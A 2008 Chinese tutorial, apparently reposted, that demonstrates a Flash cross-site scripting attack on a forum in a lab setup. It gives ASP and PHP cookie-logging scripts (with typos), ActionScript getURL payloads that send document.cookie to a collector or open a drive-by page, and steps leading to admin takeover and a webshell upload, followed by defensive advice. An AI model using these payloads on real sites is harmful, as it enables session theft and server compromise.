作者:甘肃/老五 来源:IT专家网   酷勤网收集 2008-01-08

摘要
  Flash跨站攻击手段多样,要有效预防是比较困难的,提高自身的安全意识才是关键。其实网络中的攻击除了技术之外,利用最多的就是使用者的疏忽大意,突破了用户这道防线,任何安全措施都失去了作用,这就是网络安全中的“木桶原理”吧。
Flash跨站攻击是当下比较流行的跨站攻击手段,且没有很好的预防办法。在它的淫威下有多少网站倒下了,站长们对此叫苦不迭。下面我们就看看Flash跨站脚本攻击到底是如何实现的,知己知彼,然后找到应对措施。

  虚拟机部署如下测试环境:

  操作系统:windows 2003

  web服务器:IIS6.0

  论坛:动网Version 7.1.0 Sp1

  工具

  Falsh 8.0

  记事本

  前置知识:

  首先,先说明一下什么是跨站脚本攻击(CSS/XSS)吧!我们所说跨站脚本是指在远程WEB页面的html代码中插人的其有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为“XSS”,这是因为“CSS”一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或XSS安全漏洞,通常指的都是跨站脚本。Flash跨站攻击是在Flash文件中插入脚本,在播放flash文件的时候脚本被触发,然后通过脚本获取用户的敏感信息或者打开具有网页木马的URL页面从而实现攻击。

  一、准备

  (一)准备脚本

  1、ASP脚本

  第一步:构造攻击脚本

  打开记事本输入如下代码输入并保存为cookies_flash.asp:

<%
testfile=server.mappath("cookies.txt")
msg=request("msg")
set fs=server.createobject("scripting.filesystemobject")
set thisfile=fs.opentextfile(testfile,8,true,0)
thisfile.writeline("&msg$")
thisfile=close
set fs=nothing
%>

  第二步:把cookies_flash.asp上传到支持asp的空间,我们就把它复制到测试环境的论坛根目录下,URL地址为:

  http://192.168.0.5/flash/cookies_flash.asp

  2、PHP脚本

  第一步:PHP论坛和ASP论坛一样,把如下代码保存为cookies_flash.php:

<?php
$info=getenv('query_srring');
if(info){
$fp=fopen('cookies.txt,'a');
fwrite($fp,$info,'\n);
fclose($fp);
}
?>

  第二步:上传cookies_flash.php到PHP论坛根目录,比如URL地址为:

  http://192.168.0.5/flash/cookies_flash.php

  提示:由于ASP和PHP的Flash脚本跨站攻击方式类似,因此我们就以比较大众的ASP论坛来演示。

  (二)准备Flash

  第一步:运行Flash 8.0,创建一个影片,在第一帧中右键选择“动作”,输入如下代码:

    getURL("javascript:window.open('http://192.168.0.5/flash/cookies_flash.asp?sg=$#39;+document.cookie')");

  输入脚本代码

                                                            图1

  第二步:导出影片为cookies.swf上传到论坛中,我们把它复制到测试论坛的根目录中,其URL地址为:

  http://192.168.0.5/flash/cookies.swf

  补充:插入如上代码创建的Flash文件,在网页打开是会闪,不够隐蔽。用如下代码可以解决这个问题:

  (上面的代码分两部分,第一部分是定义了PUrl,并对其的属性进行了设置,包括调用的页面以及页面的属性。第二部分是通过FLASH的getURL函数调用PUR1)

  二、攻击演示

  1.获取信息

  第一步:打开论坛http://192.168.0.5/flash,注册一个用户flash_test,然后点击发表新帖,然后在标题中写入比较有诱惑力的话语,在正文中通过Flash标签插入刚才精心准备的Flash的URL地址,即http://192.168.0.5/flash/cookies.swf。(图2)

  输入Flash文件地址

                                                            图2

  第二步:接下来就是等待了,等到你的帖子点击数不再是0的时候cookies.asp目录下的cookies.txt就能看到不少用户的cookies了。我们是测试,因此用论坛默认的管理员admin登录,然后浏览刚才发的帖子,打开flash。这样管理员的相关信息由flash脚本通过cookies_flash.asp文件及其相关参数,写入了http://192.168.0.5/flash/cookies.txt文件中。(图3)

  利用文件

                                                             图3

  2.信息利用

  (1)得到cookies后可以通过cookies欺骗,修改本机的有关flash_test用户的cookies信息为admin的,就可以欺骗进入论坛后台。这个就不演示了。

  (2)通过工具爆破admin管理员密码的MD5加密值x1sfv3h775WrZ845。拷贝其通过工具破解得到管理员的密码为admin888。(默认的密码,我没有改。)(图4)

  MD5加密后的密码

                                                           图4

  提示:一定要修改论坛安装时的默认密码,而且密码一定要复杂,这样就算被Flash跨站工具获得密码的MD5值破解起来就会增加难度。

  3.进入论坛后台

  利用刚才得到的管理员密码,先在前台登录然后点击“管理”按钮输入用户名和密码成功进入后台。(图5)

  系统后台

                                                          图5

  4.得到webshell

  通过后台修改上传文件的类型,或者通过备份数据,上传一个网马。(图6)

  上传木马

                                                               图6

  如果服务器设置不当或者应用程序有漏洞不需要太费尽,这台服务器就可以拿下,如果是虚拟主机的话,那有多少网站都被控制。我们的渗透到此为止。

  以上的Flash跨站攻击测试只是其最常规的用法,其使用可谓博大精深,比如说将指令改为

    getURP("javascript:window.open('http://192.168.0.5/flash/wm.html')");

      打开了一个挂马的网站。

    getURP("javascript:window.open('http://www.xxx.com/addadmin.asp?username=lw')");

      提交了一个名为lw的管理员。

  总结:我们通过虚拟的环境演示了Flash跨站攻击,通过准备、获取信息、利用信息,一直到得到管理员密码,进入后台,获得webshell,直至拿下服务器,可见Flash跨站攻击的危害之大。那如何防范这样的攻击呢?

  四、预防Flash跨站攻击

  1.在你的WEB浏览器上禁用javascript脚本,具体方法,先打开你的IE的internet选项,切换到“安全”选项卡,有个“自定义”级别,选择禁用就可以了。但是好象不太可能,因为一旦禁用,很多功能就丧失了,这个方法是下策。

  2.开发者要仔细审核代码,对提交输入的数据进行有效检查,如空格,ascii码等,这个是上策。但是由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,这主要依赖于所开发程序的作用,建议过滤掉所有元字符。

  3.登录论坛,选择不保存cookies,可预防cookies欺骗。(图7)

  防范XSS攻击

                                                             图7

  4.用可以屏蔽flash广告的浏览器,或者安装相关的插件。

  5.不打开带有诱惑性的帖子。

  6.管理员在后台屏蔽相关的词汇。

  7.安装微软防跨站脚本库

  下载地址

  http://www.microsoft.com/downloads/details.aspx?FamilyID=efb9c819-53ff-4f82-bfaf-e11625130c25&DisplayLang=en

  总结:Flash跨站攻击手段多样,要有效预防是比较困难的,提高自身的安全意识才是关键。其实网络中的攻击除了技术之外,利用最多的就是使用者的疏忽大意,突破了用户这道防线,任何安全措施都失去了作用,这就是网络安全中的“木桶原理”吧。

来自:http://security.ctocio.com.cn/tips/80/7757080.shtml

分类: 黑客技术 网络管理员 网络技术 3G技术 IPv6技术 网络编程



关于酷勤 | 联系方式 | 免责声明 | 友情链接